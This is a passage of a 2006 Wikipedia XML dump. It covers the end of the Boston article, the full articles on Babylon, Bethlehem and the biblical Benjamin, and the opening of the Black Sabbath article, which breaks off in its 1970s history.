*{{cite book| author=Howard Mumford Jones and Bessie Zaban Jones | title=The Many Voices of Boston: A Historical Anthology 1630-1975 | publisher=Boston: Little, Brown and Company | year=1975 | id=ISBN 0316472824}}
*{{cite book| author=Rambow, John D. et. al | title=Fodor's Boston | publisher=New York: Fodors Travel Publication | year=2003 | id=ISBN 1400010284}}
*{{cite book| author=Vanderwarker, Peter | title=Boston Then and Now | publisher=Courier Dover Publications | year=1982 | id=ISBN 0486243125}}

==External links==
{{sisterlinks|Boston}}
*[http://www.cityofboston.gov City's official website]
:*[http://www.cityofboston.gov/bra/maps/mapsPDFs.asp Maps of Boston neighborhoods]
*[http://www.bostonsquares.com Boston guide organized by square]
*[http://www.bostonusa.com/ Greater Boston Convention &amp; Visitors Bureau]
*[http://www.boston-online.com/glossary.html Guide to the local language]
*[http://www.bostonhistory.org/ The Boston Historical Society]
*[http://boston.about.com About.com for Boston]
*[http://www.urbanplanet.org/forums/index.php?showforum=61 Boston Urban Discussion]
*[http://www.tripadvisor.com/Tourism-g60745-Boston_Massachusetts-Vacations.html Boston travel guide at TripAdvisor]
*{{wikitravelpar|Boston}}
{{Mapit-US-cityscale|42.35|-71.066666}}
{{Massachusetts}}
{{USStateCapitals}}
{{USLargestCities}}
[[Category:All-America City]]
[[Category:Boston, Massachusetts|*]]
[[Category:Cities in Massachusetts]]
[[Category:Coastal cities]]
[[Category:State capitals in the United States]]
[[Category:Suffolk County, Massachusetts]]

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  </page>
  <page>
    <title>Babylon</title>
    <id>4311</id>
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      <id>42002077</id>
      <timestamp>2006-03-03T03:45:33Z</timestamp>
      <contributor>
        <ip>68.180.8.41</ip>
      </contributor>
      <comment>/* Archaeology of Babylon */</comment>
      <text xml:space="preserve">{{AIDnom}}

{{alternateuses}}
{{Template:Ancient Mesopotamia}}
'''Babylon''' is the Greek variant of [[Akkadian language|Akkadian]] '''Babilu''', an ancient city in [[Mesopotamia]] (Location: {{coor dms|32|32|11|N|44|25|15|E|}}, modern [[Al Hillah]],  [[Iraq]]). It was the &quot;holy city&quot; of [[Babylonia]] from around [[2300 BC]], and the seat of the [[Babylonia|Neo-Babylonian]] empire from [[612 BC]]. In the [[Hebrew Bible]], the name appears as ''בבל'' (''[[Babel]]),'' interpreted by Gen. 11:9 to mean &quot;confusion&quot;, from the verb ''balal'', &quot;to confuse&quot;. In Akkadian, ''b&amp;#257;b-ilû'' means &quot;Gateway of the god&quot;, translating  [[Sumerian language|Sumerian]] '''Kadingirra'''.

The [[Hanging Gardens of Babylon]] were one of the [[Seven Wonders of the Ancient World]]. 

==History==
The earliest mention of Babylon is in a dated tablet of the reign of [[Sargon of Akkad]] ([[24th century BC]] [[short chronology|short chr.]]). Over the years, its power and population waned. From around the [[20th century BC]], it was occupied by [[Amorites]] (nomadic [[Semitic]] tribes), flooding southern [[Mesopotamia]] from the west. The [[First Babylonian Dynasty]] was established by Sumu-abum, but the city-state controlled little surrounding territory until it became the capital of [[Hammurabi]]'s empire (ca. [[18th century BC]]). From that time onward, it continued to be the capital of Babylonia, although during the 440 years of domination by the [[Kassites]] (1595-1155 BC), the city was renamed &quot;''Karanduniash''&quot;.

The city itself was built upon the [[Euphrates]], and divided in equal parts along its left and right banks, with steep embankments to contain the river's seasonal floods. Babylon grew in extent and grandeur over time, but gradually became subject to the rule of [[Assyria]]. 

It has been estimated that Babylon was the largest city in the world from c. 1770 to 1670 BC, and again between c. 612 and 320 BC. It was perhaps the first city to reach a population above 200,000.[http://geography.about.com/library/weekly/aa011201a.htm]

===Assyrian period===
[[Image:Babylon relief.jpg|left|thumb|Detail of the Ishtar Gate]]
During the reign of [[Sennacherib]] of Assyria, Babylonia was in a constant state of revolt, led by [[Mushezib-Marduk]], and suppressed only by the complete destruction of the city of Babylon. In [[689 BC]], its walls, temples and palaces were razed to the ground, and the rubbish thrown into the [[Arakhtu]], the canal bordering the earlier Babylon on the south. This act shocked the religious conscience of Mesopotamia; the subsequent murder of Sennacherib was held to be in expiation of it, and his successor [[Esarhaddon]] hastened to rebuild the old city, to receive there his crown, and make it his residence during part of the year. On his death, Babylonia was left to be governed by his elder son [[Shamash-shum-ukin]], who eventually headed a revolt in [[652 BC]] against his brother in Nineveh, [[Assurbanipal]].

Once again, Babylon was besieged by the Assyrians and starved into surrender. Assurbanipal purified the city and celebrated a &quot;service of reconciliation&quot;, but did not venture to &quot;take the hands&quot; of Bel. In the subsequent overthrow of the Assyrian Empire, the Babylonians saw another example of divine vengeance.

===Neo-Babylonian Empire===
[[Image:Babylon 600BC Painting.jpg|thumb|240px|Mural near the reconstructed Ishtar gate, depicting the palace quarter of Nebuchadnezzar's Babylon. The Ishtar gate is shown in the top left corner of the image]]

Under [[Nabopolassar]], Babylon threw off Assyrian rule in [[626 BC]], and became the capital of the [[Babylonia|Neo-Babylonian empire]].

With the recovery of Babylonian independence, a new era of architectural activity ensued, and his son [[Nebuchadrezzar II of Babylon|Nebuchadrezzar II]] ([[605 BC]]-[[562 BC]]) made Babylon into one of the wonders of the ancient world. Nebuchadnezzar ordered the complete reconstruction of the imperial grounds, including rebuilding the [[Etemenanki]] [[ziggurat]] and the construction of the [[Ishtar Gate]] -- the most spectacular of eight gates that ringed the perimeter of Babylon. The Ishtar Gate survives today in the [[Pergamon Museum]] in [[Berlin]]. Nebuchadnezzar is also credited with the construction of the [[Hanging Gardens of Babylon]] (one of the [[Seven Wonders of the World|seven wonders of the ancient world]]), said to have been built for his homesick wife [[Amyitis]]. Whether the gardens did exist is a matter of dispute. Although excavations by German archaeologist [[Robert Koldewey]] are thought to reveal its foundations, many historians disagree about the location, and some believe it may have been confused with gardens in [[Nineveh]].

===Babylon under Persia===
In [[539 BC]] the Neo-Babylonian Empire fell to [[Cyrus the Great]], king of [[Persia]]. It is said that Cyrus walked through the gates of Babylon without encountering any resistance. He later issued a decree permitting the exiled [[Jews]] to return to their own land, and allowed their temple to be rebuilt. ([[Book of Ezra|Ezra]] 1). 

Under Cyrus and his heir [[Darius I]], Babylon became the capital city of the 9th Satrapy (Babylonia in the south and Athura in the north), as well a centre of learning and scientific advancements. In [[Achaemenid]] Persia, the ancient Babylonian arts of [[astronomy]] and [[mathematics]] were revitalised and flourished, and Babylonian scholars completed maps of constellations. Overall the city being the administrative capital of the [[Persian Empire]] (the preeminent power of the then known world), played a vital part in the history of that region for over two centuries.  To date, many important archeological discoveries have been being made that can provide a better understanding of that era, not only in regards to the role of Babylon and the Persian Empire, but perhaps the history of its earlier inhabitants as well[http://www.thebritishmuseum.ac.uk/forgottenempire/legacy/cylinder.html][http://www.wsu.edu:8080/~dee/MESO/PERSIANS.HTM].

The early Persian kings had attempted to maintain the religious ceremonies of [[Marduk]], but by the reign of [[Darius III]], over-taxation and the strains of numerous wars led to a deterioration of Babylon's main shrines and canals, and the disintegration of the surrounding region. Despite three attempts at rebellion in [[522 BC]], [[521 BC]], and [[482 BC]], the land and city of Babylon remained solidly under Persian rule for two centuries, until Alexander the Great's entrance in [[331 BC]].

===Hellenistic Period===
In [[331 BC]], Darius III was defeated by the forces of the [[Macedonian]] ruler [[Alexander the Great]] at the [[Battle of Gaugamela]], and in October, Babylon fell to the young conquerer. A native account of this invasion notes a ruling by Alexander not to enter the homes of its inhabitants. 

Under Alexander, Babylon again flourished as a centre of learning and commerce. But following Alexander&amp;#8217;s mysterious death in [[323 BC]] in the palace of Nebuchadrezzar, his empire was divided amongst his generals, and decades of fighting soon began, with Babylon once again caught in the middle. 

The constant turmoil virtually emptied the city of Babylon. A tablet dated [[275 BC]] states that the inhabitants of Babylon were transported to [[Seleucia]], where a palace was built, as well as a temple given the ancient name of [[E-Saggila]]. With this deportation, the history of Babylon comes practically to an end, though more than a century later, it was found that sacrifices were still performed in its old sanctuary. By [[141 BC]], when the [[Parthian Empire]] took over the region, Babylon was in complete desolation and obscurity.

==Archaeology of Babylon==
Historical knowledge of Babylon's [[topography]] is derived from classical writers, the inscriptions of Nebuchadrezzar, and several excavations, including those of the [[Deutsche Orientgesellschaft]] begun in [[1899]]. The layout is that of the Babylon of Nebuchadrezzar; the older Babylon destroyed by Sennacherib having left few, if any, traces behind.

[[Image:Babylon Ruins Marines.jpg|thumb|200px|US Marines in front of the rebuilt ruins of Babylon (2003)]]

Most of the existing remains lie on the east bank of the Euphrates, the principal ones being three vast mounds: the [[Babil]] to the north, the Qasr or &quot;Palace&quot; (also known as the [[Mujelliba]]) in the centre, and the Ishgn &quot;Amran ibn&quot; All, with the outlying spur of the Jumjuma, to the south. East of these come the [[Ishgn el-Aswad]] or &quot;Black Mound&quot; and three lines of rampart, one of which encloses the Babil mound on the N. and E. sides, while a third forms a triangle with the S.E. angle of the other two. West of the [[Euphrates]] are other ramparts, and the remains of the ancient [[Borsippa]].

We learn from [[Herodotus]] and [[Ctesias]] that the city was built on both sides of the river in the form of a square, and was enclosed within a double row of lofty walls, or a triple row according to Ctesias. Ctesias describes the outermost wall as 360 stades (42 miles/68 km) in circumference, while according to Herodotus it measured 480 stades (56 miles/90 km), which would include an area of about 520 km&amp;sup2; (approx. 200 square miles).

The estimate of Ctesias is essentially the same as that of Q. Curtius (v. I. 26) -- 368 stades -- and [[Cleitarchus]] (ap. Diod. Sic. ii. 7) -- 365 stades; [[Strabo]] (xvi. 1. 5) makes it 385 stades. But even the estimate of Ctesias, assuming the stade to be its usual length, would imply an area of about 260 km&amp;sup2; (100 square miles). According to Herodotus, the width of the walls was 24 m (80 ft).

[[Saddam Hussein]] installed a huge portrait of himself and [[Nebuchadnezzar]] at the entrance to the ruins. He also had part of the ruins rebuilt, to the dismay of archaeologists, with his name inscribed on many of the bricks, in imitation of Nebuchadnezzar. One frequent inscription reads: &quot;''This was built by Saddam Hussein, son of Nebuchadnezzar, to glorify Iraq''&quot;. This recalls the ziggurat at [[Ur]], where each individual brick was stamped with &quot;''Ur-Nammu, king of Ur, who built the temple of [[Nanna (Sumerian deity)|Nanna]]''&quot;. These bricks became sought after as collectors' items after the downfall of Saddam, and the ruins are no longer being restored to their original state.

==See also==
*[[Kings of Babylon]]
*[[Tower of Babel]], [[Babel]]
*[[Babylon (New Testament)]]
*[[New Babylon]]
*[[Whore of Babylon]]

==External links==
*[http://ancientneareast.tripod.com/Babylon_Babil.html The History of the Ancient Near East]
*[http://www.guardian.co.uk/Iraq/Story/0,2763,1391042,00.html Babylon wrecked by war, The Guardian, January 15, 2005]
*[http://www.gardenvisit.com/garden_history/sacred_gardens/babylon_gardens.htm Babylonian gardens]
*[http://news.bbc.co.uk/1/hi/world/middle_east/4461755.stm History lost in dust of war-torn Iraq], BBC, April 25, 2005, mentions damage to Babylon.

==References==
*[1] {{1911}}
*[2] [http://www.informationclearinghouse.info/article11389.htm ''What I heard about Iraq in 2005'' by Eliot Weinberger, London Review of Books]
[[Category:Archaeological sites in Iraq]]
[[Category:Assyria]]
[[Category:Babylonia]]
[[Category:Chaldeans]]
[[Category:Destroyed cities]]
[[Category:Tanakh places]]

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    </revision>
  </page>
  <page>
    <title>Bethlehem</title>
    <id>4312</id>
    <revision>
      <id>41886211</id>
      <timestamp>2006-03-02T10:32:38Z</timestamp>
      <contributor>
        <ip>83.244.101.99</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''This article is about the city in the [[West Bank]]. For other articles with this name see [[Bethlehem (disambiguation)]].''

[[Image:Nativity Church.jpg|thumb|right|350px|The Church of the Nativity, a Bethlehem Landmark]]
'''Bethlehem''' ([[Arabic language|Arabic]] '''بيت لحم''' {{Audio|ArBethlehem.ogg|'''Bayt Laḥm'''}} &quot;house of meat&quot;; [[Standard Hebrew]] '''בית לחם''' &quot;house of bread&quot;, '''Bet léḥem''' / '''Bet láḥem'''; [[Tiberian Hebrew]] '''Bêṯ léḥem''' / ''' Bêṯ lāḥem''') ([[Greek language|Greek]]: '''Βηθλεέμ''') is a city in the [[West Bank]] under [[Palestinian Authority]] considered a central hub of Palestinian cultural and tourism industries.

The city has great significance to the [[Christianity|Christian religion]] as it is believed to be the birthplace of [[Jesus of Nazareth]]. The traditional site of [[Rachel's tomb]], which is important in [[Judaism]], lies at the city's outskirts. Bethlehem is also home to one of largest [[Palestinian Christian]] communities in the Middle East. It lies about 10 km (6 mi) south of [[Jerusalem]], standing at an elevation of about 765 m (2 510 ft) above the sea, thus 30 m (100 ft) higher than Jerusalem. The Bethlehem [[agglomeration]] includes the small towns of [[Beit Jala]] and [[Beit Sahour]], the latter also having biblical significance. 

The [[Church of the Nativity]], built by [[Constantine the Great]] (A.D. 330), stands in the centre of Bethlehem over a grotto or cave called the Holy Crypt, which according to Christian tradition is the place where Jesus was born. This is perhaps the oldest existing Christian church in the world. Close to it is another grotto, where [[Jerome]] the Latin father is said to have spent thirty years of his life in translating the Scriptures into Latin. (See [[Vulgate]]).

&lt;!-- Image with unknown copyright status removed: [[Image:Bethlehem University.jpg|thumb|right|200px|Bethlehem University]] --&gt;
Bethlehem is home to Bethlehem University [http://www.bethlehem.edu], a major [[Roman Catholic]] institution which was founded under the direction of the [[Holy See|Vatican]].

== History ==
=== Biblical ===
The city, located in  the &quot;hill country&quot; of [[Kingdom of Judah|Judah]], was originally called ''[[Ephrath]]'' (Gen. 35:16, 19; 48:7; Ruth 4:11). It was also called ''Beth-lehem Ephratah'' (Micah 5:2), ''Beth-lehem-judah'' (1 Sam. 17:12), and &quot;the city of [[David]]&quot; (Luke 2:4). It is first noticed in Scripture as the place where [[Rachel]] died and was buried &quot;by the wayside,&quot; directly to the north of the city (Gen. 48:7). The valley to the east was the scene of the story of [[Ruth]] the [[Moab]]itess. There are the fields in which she gleaned, and the path by which she and [[Naomi]] returned to the town. 

====City of David====
Bethlehem is the birth-place of [[David]], the second king of Israel, and it is also the place where he was anointed as king by [[Samuel]] (1 Sam. 16:4-13); and it was from the well of Bethlehem that three of his heroes brought water for him at the risk of their lives when he was in the cave of [[Adullam]] (2 Sam. 23:13-17).

====Jesus's birthplace====
Since it was distinguished above every other city as the birth-place of &quot;Him whose goings forth have been of old&quot; (Micah 5:2), it was here that, the birth of the [[Messiah]] was expected. Accordingly, the [[gospel]]s ([[Gospel of Luke|Luke]] 2:4 and [[Gospel of Matthew|Matthew]] 2:1) report that [[Jesus]], whom they proclaim as the Messiah, was born in Bethlehem, although he grew up in [[Nazareth]]. Matthew reports that [[Herod the Great|Herod]], after Jesus's birth had &quot;all the children that were in Bethlehem, and in all the coasts thereof, from two years old and under&quot; killed (Matt. 2:16, 18; Jer. 31:15).

Recent archaeological findings have also suggested [[Bethlehem, Galilee]] as a possible location for the birth of Jesus. The site featured the ruins of a [[church]] and a [[synagogue]] until the late 19th century, and was found to have archeological evidence of a prosperous city; many scholars place Beth Lehem of Galilee as one of the birth places of Rabbinical Judaism — it is by all accounts a logical place for a spiritual leader with a small group of followers to develop his doctrines.

=== Roman and Byzantine periods ===
[[Image:BethlehemInsideCN.jpg|right|200px|thumb|Interior of the Church of the Nativity]]
The city was wrecked during [[Bar Kokhba's revolt]] (132-135 AD) and the Romans set up a shrine to [[Adonis]] on the site of the Nativity.  Only in 326 was the first Christian church constructed, when [[Helena of Constantinople|Helena]], the mother of the first Christian emperor, [[Constantine I (emperor)|Constantine]], visited Bethlehem. 

During the [[Samaritan revolt]] of 529, Bethlehem was sacked and its walls and the Church of the Nativity destroyed, but they were soon rebuilt on the orders of the Emperor [[Justinian I|Justinian]]. In 614, the [[Persians]] invaded Palestine and captured Bethlehem. A story recounted in later sources holds that they refrained from destroying the Church of the Nativity on seeing the [[magi]] depicted in Persian clothing in one of the mosaics. 

===Arab rule and the Crusades===
In 637, shortly after [[Jerusalem]] was captured by the Muslim armies, the Caliph [[Umar ibn al-Khattab]] visited Bethlehem and promised that the Church of the Nativity would be preserved for Christian use. 

In 1099, Bethlehem was captured by the [[Crusaders]], who fortified it and built a new monastery and cloister on the north side of the Church of the Nativity. The town prospered under their rule. On Christmas Day 1100 [[Baldwin I of Jerusalem|Baldwin I]], first king of the Frankish [[Kingdom of Jerusalem]], was crowned in Bethlehem, and that year a [[Roman Catholic|Latin]] episcopate was also established in the town.

In the 1160s the nave of the [[Church of the Nativity]] was redecorated with mosaics showing the councils of the church. An ally of King [[Amalric I of Jerusalem]], emperor [[Manuel I Comnenus]] of [[Byzantine Empire|Byzantium]], was one of the patrons of the work. On the south wall, an inscription in Greek reads: &quot;the present work was finished by Ephraim the monk, painter and mosaicist, in the reign of the great emperor Manuel Porphyrogenitos Comnenus and in the time of the great king of Jerusalem, Amalric.&quot; Interestingly, the emperor's name was placed first, in recognition of his role as overlord and protector of the Crusaders at the time. 

However, in 1187, [[Saladin]] captured Bethlehem from the Crusaders, and the Latin clerics were forced to leave. Saladin agreed to the return of two Latin priests and two deacons in 1192. However, the town suffered from the loss of the pilgrim trade. Bethlehem was briefly returned to Crusader control by treaty between 1229 and 1244. In 1250, with the coming to power of [[Rukn al-Din Baibars]], tolerance of Christianity declined, clergy left the town, and in 1263 the walls of the town were demolished. The Latin clergy returned to the town over the following century, establishing themselves in the monastery adjoining the Basilica, and in 1347 the [[Franciscans]] gained possession of the Grotto of the Nativity as well as the right to administer and maintain the Basilica.

===Bethlehem under the Ottoman Empire===
[[Image:Bethlehem1894.png|thumb|350 px|View of Bethlehem in 1894 with pilgrims (drawing by Karl Oenike)]]
During the years of Ottoman control from 1517 on, custody of the Basilica was bitterly disputed between the Catholic and Greek Orthodox churches.

From 1831 to 1841 Palestine was under the rule of [[Muhammad Ali of Egypt]]. During this period the town suffered an earthquake as well as the destruction of the Muslim quarter by troops, apparently as a reprisal for a murder. In 1841, Bethlehem came under Ottoman rule once more, and so it remained until the end of the [[First World War]] and the imposition of the [[British Mandate of Palestine|British Mandate]] on Palestine.

===20th Century===
In the 1947 resolution by the [[United Nations General Assembly]] to partition Palestine, Bethlehem was included in the special international enclave of [[Jerusalem]] to be administered by the [[United Nations]]. [[Jordan]] occupied the city during the [[1948 Arab-Israeli War]]. Many refugees from areas captured by [[Zionist]] forces in 1947 - 1948 came to Bethlehem, setting up encampments in the north of the city near the road to Jerusalem and on the hillside to the south between the city and Solomon's Pools. These later became the official refugee camps of Beit Jibrin (or al-'Azza) and 'A'ida (in the north) and [[Deheisheh]] in the south. This influx of refugees changed the demography of Bethlehem considerably.

Jordan retained control of the city until 1967, when Bethlehem was captured by Israel along with the rest of the [[West Bank]].

On [[December 21]], [[1995]], Bethlehem became one of the areas under the full control of the [[Palestinian Authority]]. It is capital of the Bethlehem district. The current population of the town is about 40,000. The Christian population is no longer the majority, but a special statute requires that the mayor and a majority of the municipal council must nevertheless be Christian.

== Recent events ==
===Church of the Nativity Siege===
With the escalation of the [[Israeli-Palestinian conflict]], Bethlehem has been the site of many confrontations. In May 2002, during an [[Israel Defense Forces]] raid into the city, a number of locals (some of whom were armed) fled into the [[Church of the Nativity]]. According to senior Tanzim commander Abdullah Abu-Hadid, the church was specifically chosen due to its abundant supplies of food, water, and as a focal point for international outcry {{fact}}.  It became the site of a 5-week stand-off. The number of people inside was estimated between 120 and 240 hostages forbiden to leave the site by at least 40 gunmen [http://www.palestinefacts.org/pf_1991to_now_church_nativity_2002.php][http://www.jewishvirtuallibrary.org/jsource/Terrorism/nativityterr.html].  Several groups of civilians were allowed out of the church during the 5 week siege [http://www.christianitytoday.com/ct/2002/116/31.0.html]. During the siege several Palestinians inside the church compound were shot dead by Israeli snipers. The siege ended with an agreement for 13 militants to be sent via Cyprus to various European counties and another 26 to be sent to Gaza.  The rest were set free.  The IDF stated that 40 explosive devices were found and removed from the compound after the standoff was concluded. [http://www.cbc.ca/stories/2002/05/10/church_bethle020510]

===Movement restrictions===
[[Image:BethlehemRoad.jpg|left|200px|thumb|Main entrance into Bethlehem from Jerusalem, July 2005]]
Bethlehem, Beit Sahour and Beit Jala are currently surrounded by Israeli checkpoints and roadblocks, with the main road to Jerusalem cut off at the border of Jerusalem's municipal area [http://news.bbc.co.uk/2/hi/middle_east/4490671.stm] &lt;!-- see the map at article and the description of municipal jerusalem --&gt; - at Rachel's Tomb. Bethlehem residents are only allowed into Jerusalem (the main social, economic and religious centre of the region) with special permits that are usually refused. Travel to other parts of the Palestinian controlled territories of the West Bank is also impeded and sometimes prevented. The city has periodically been placed under strict curfew, preventing residents from leaving their homes. [[Palestinians]] are not allowed to enter the Jewish holy site of [[Rachel's Tomb]], which is on the outskirts of the city. Since Bethlehem and the nearby biblical [[Solomon's Pools]] lie in [[Oslo Accords|Area A]], [[Israel]]i citizens cannot go there without a permit from the Israeli military authorities.

===West Bank barrier===

The construction by Israel of the [[West Bank barrier]] has had a severe impact on Bethlehem. The barrier runs along the northern side of the town's built-up area, within metres of houses in 'A'ida refugee camp and the [[Jerusalem]] municipality.

===Demographic change===
Bethlehem's former mayor, Hanna Nasser, says an estimated 2,000 Christians in Bethlehem have emigrated during the period of 2000 - 2003.  Fifty years ago, Bethlehem was overwhelmingly Christian.  Today, it has a Muslim majority. [http://www.nytimes.com/2003/12/24/international/middleeast/24CND-MIDE.html?hp]

==See also==
* [[Star of Bethlehem]]

==External links==
* [http://www.bethlehem-city.org Bethlehem Municipality]
* [http://www.christusrex.org/www1/ofm/sites/TSbtmenu.html Franciscan Custody of the Holy Land website - pages on Bethlehem]
* [http://www.bethlehem2000.org/main.html Bethlehem 2000 project]
* [http://www.openbethlehem.org/ Open Bethlehem civil society project]
* [http://www.bethlehem.edu Bethlehem University]
* [http://www.dheisheh.ps Deheisheh Refugee Camp site (in Arabic)]
* [http://wikitravel.org/en/article/Bethlehem Wikitravel: Bethlehem]


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[[Category:Bethlehem|*]]

[[ar:بيت لحم]]
[[da:Betlehem]]
[[de:Betlehem]]
[[el:Βηθλεέμ]]
[[es:Belén]]
[[eo:Bet-Leĥem]]
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[[id:Betlehem]]
[[he:בית לחם]]
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[[ja:ベツレヘム]]
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[[pt:Belém (Judeia)]]
[[ro:Bethleem Efrata]]
[[ru:Вифлеем]]
[[sv:Betlehem]]
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[[zh:伯利恆]]</text>
    </revision>
  </page>
  <page>
    <title>Benjamin</title>
    <id>4313</id>
    <revision>
      <id>41801236</id>
      <timestamp>2006-03-01T21:10:55Z</timestamp>
      <contributor>
        <ip>72.49.127.84</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{otheruses}}
'''Benjamin''' ([[Hebrew language|Hebrew]]: &amp;#1489;&amp;#1468;&amp;#1460;&amp;#1504;&amp;#1456;&amp;#1497;&amp;#1464;&amp;#1502;&amp;#1460;&amp;#1497;&amp;#1503;; [[Standard Hebrew]]: ''Binyamin''; [[Tiberian Hebrew]] ''Biny&amp;#257;mîn'') is a [[Hebrew Bible]] figure. The name literally translates to &quot;[[son]] of [[right]],&quot; generally taken to mean &quot;son of my right hand&quot; but in some [[Rabbinical Judaism|rabbinical]] traditions &quot;son of the right side [of the body]&quot; or  &quot;son of the south,&quot; the youngest son of [[Jacob]] and [[Rachel]] (Genesis 35:18).


His birth took place on the road between [[Bethel]] and [[Ephrath]], characterized later by Christian writers as at a short distance from [[Bethlehem]], because many centuries later the prophet [[Micah]] referred to &quot;Bethlehem Ephrata.&quot; There is no other connection with Bethlehem. His mother died in childbirth, and with her last breath named him ''bem-oni'' (&quot;son of my pain&quot;), an ill-omened name which was changed by his father into Benjamin. His posterity were the [[tribe of Benjamin]], sometimes translated &quot;Benjamites&quot; (Genesis 49:27; Deuteronomy 33:12; Joshua 18:21).

The tribe of Benjamin at [[the Exodus]] was the smallest but one Numbers 1:36-1:37; Psalms 68:27). During the march its place was along with [[Manasseh]] and [[Ephraim]] on the west of the tabernacle. At the entrance into [[Canaan]] it counted 45,600 warriors. It has been inferred by some from the words of Jacob (Genesis 49:27) that the figure of a wolf was on the tribal standard: &quot;Benjamin is a wolf that raveneth; in the morning he shall devour the prey, at evening he shall divide the spoil.&quot;

This tribe is mentioned in [[Epistle to the Romans]] 11:1 and [[Philippians]] 3:5.

The inheritance of this tribe lay immediately to the south of that of [[Ephraim]], and was about 26 miles in length and 12 in breadth. Its eastern boundary was the [[Jordan]]. [[Tribe of Dan|Dan]] intervened between it and the [[Philistines]]. Its chief towns are named in [[Book_of_Joshua|Josh.]] 18:21-28.

The history of the tribe contains a sad record of a desolating [[civil war]] in which they were engaged with the other eleven tribes; they were almost exterminated (Judg. 20:20, 21; 21:10). (See GIBEAH ¯T0001476.)

The first king of the Jews was [[Saul the King|Saul]], a Benjamite. A close alliance was formed between this tribe and that of [[Tribe of Judah|Judah]] in the time of [[David]] ([[Books of Samuel|2 Sam.]] 19:16, 17), which continued after his death ([[Books of Kings|1 Kings]] 11:13; 12:20). After the [[Babylonian captivity|Exile]] these two tribes formed the great body of the Jewish nation (Ezra 1:5; 10:9), and to this day the other ten are referred to as the [[lost tribes of Israel]]. The tribe of Benjamin was famous for its archers ([[Books of Samuel|1 Sam.]] 20:20, 36; [[Books of Samuel|2 Sam.]] 1:22; 1 [[Books of Chronicles|Chr.]] 8:40; 12:2) and slingers ([[Book of Judges|Judges]] 20:6).

The gate of Benjamin, on the north side of [[Jerusalem]] (Jer. 37:13; 38:7; Zech. 14:10), was so called because it led in the direction of the territory of the tribe of Benjamin. It is called by [[Jeremiah (prophet)|Jeremiah]] (20:2) &quot;the high gate of Benjamin&quot;; also &quot;the gate of the children of the people&quot; (17:19). (Comp. 2 Kings 14:13.)
 
==Reference==
*''Easton's Bible Dictionary'', 1897.

==External links==
*[http://www.jewishencyclopedia.com/ ''The Jewish Encyclopedia,'' 1908:] Benjamin. Material on the tribe, its territory, Rabbinical tradition and Islam, where Benjamin is not specifically mentioned in the ''Qur'an.''  

[[Category:Torah people]]
[[Category:Given names]]

[[da:Benjamin]]
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[[zh:便雅悯]]</text>
    </revision>
  </page>
  <page>
    <title>Black Sabbath</title>
    <id>4314</id>
    <revision>
      <id>42111207</id>
      <timestamp>2006-03-03T22:15:57Z</timestamp>
      <contributor>
        <ip>216.252.84.210</ip>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{Infobox_band |
  band_name         = Black Sabbath |
  image             = [[Image:Black_sabbath.jpg]] |
  status            = Active |
  country           = [[Birmingham]], [[England]] |
  years_active      = [[1969]] &amp;ndash; present |
  music_genre       = [[Heavy Metal]] |
  record_label      = [[Warner Bros.]] |
  current_members   = [[Ozzy Osbourne]],&lt;br /&gt;[[Tony Iommi]],&lt;br /&gt;[[Geezer Butler]],&lt;br /&gt;[[Bill Ward]] |
}}
:''This article is about the British heavy metal band. For the 1946 British arrests of Jewish paramilitaries, see [[Operation Agatha]]. For the 1963 film see [[Black Sabbath (film)]]''

'''Black Sabbath''' (sometimes called '''Sabbath''' by fans) is a British [[Heavy metal music|heavy metal]] band, originally comprising [[Ozzy Osbourne]] (vocals), [[Tony Iommi]] (guitar), [[Geezer Butler|Geezer (Terrance) Butler]] (bass), and [[Bill Ward]] (drums). They are cited by many as the very first true [[heavy metal]] band. 

Black Sabbath formed in [[Birmingham]], [[England]] in [[1969]] under the name 
'''Polka Tulk Blues Band''' (soon shortened to &quot;Polka Tulk&quot;), and later '''Earth'''. Initially a [[blues-rock]] band, Earth moved in a darker direction when their bassist, Geezer Butler, a fan of the black magic novels of [[Dennis Wheatley]], wrote an occult-themed song titled &quot;Black Sabbath&quot; (the song name was apparently inspired by a [[1963]] [[Mario Bava]] [[Black Sabbath (movie)|film]]). (In their reunion concert film, the band stated that the song is based on an experience Geezer had one night when he saw a black object at the end of his bed and noticed the next day that an occult book Ozzy had given him was missing).  When the band found themselves being confused with another local band called Earth, they adopted the song title as their new name.  

The band originated as a blues-influenced [[hard rock]] group, but as they progressed they added more European folk elements and gothic flourishes to their sound, a sound that was not like any other group during their time. Their lyrics dealt with darker issues than most conventional rock as well. During a time, the late 60s, when other bands were into the peace movement and the hippie culture, Sabbath chose to distinguish themselves by dealing with heavier issues. In their music, they also conveyed a sense of anger and anti-establishment, the likes of which had never been heard before. The band also dealt with issues such as drugs (to which they were developing a growing dependence).

The newly-named Black Sabbath adopted darker lyrical themes, and a slower, ominous style - a significant element in the genre that would later be known as [[heavy metal music|heavy metal]], often ranked above [[Deep Purple]] and [[Judas Priest]] in importance and influence in the genre.

Even though [[Judas Priest]], [[Cream (band)|Cream]], and [[Deep Purple]] may have had a profound influence on the emergence of hard rock and heavy metal music, Black Sabbath is generally considered, along with [[Led Zeppelin]], one of the primary forces of the genre. 

The group found its signature sound almost by accident.  When the group was rehearsing in a studio which was situated opposite a cinema showing a horror movie, Osbourne recalls that [[Tony Iommi]] said to the rest of the band, &quot;If people pay to see scary movies, why wouldn't they pay to listen to scary music?&quot; The band began to purposely write dark, ominous riffs in an attempt to be music's answer to horror movies.

However, much of the group's material featured an acoustic guitar, piano, symphony orchestras, keyboards, and even horns. After the band's first four albums, the group became increasingly experimental and progressive, leaving much of their dark metal roots behind.

They were ranked number 2 in [[VH1]]'s &quot;100 Greatest Artists of Hard Rock&quot; ( Led Zeppelin was number 1).

== History ==
=== 1970s ===
With an extremely gifted [[rhythm section]] and the extraordinary on-stage antics of Ozzy Osbourne, the band enjoyed success with memorable songs and brutal [[riff]]s beginning with their first album, the eponymous ''[[Black Sabbath (album)|Black Sabbath]]'' ([[1970]]). Their follow-up album, ''[[Paranoid (album)|Paranoid]]'' (also 1970), was a tremendous success, bringing them even greater attention in America and the UK.  ''Paranoid'' was in part a protest against the Vietnam war (particularly British involvment); the song &quot;War Pigs&quot; was originally intended to be the title song. 

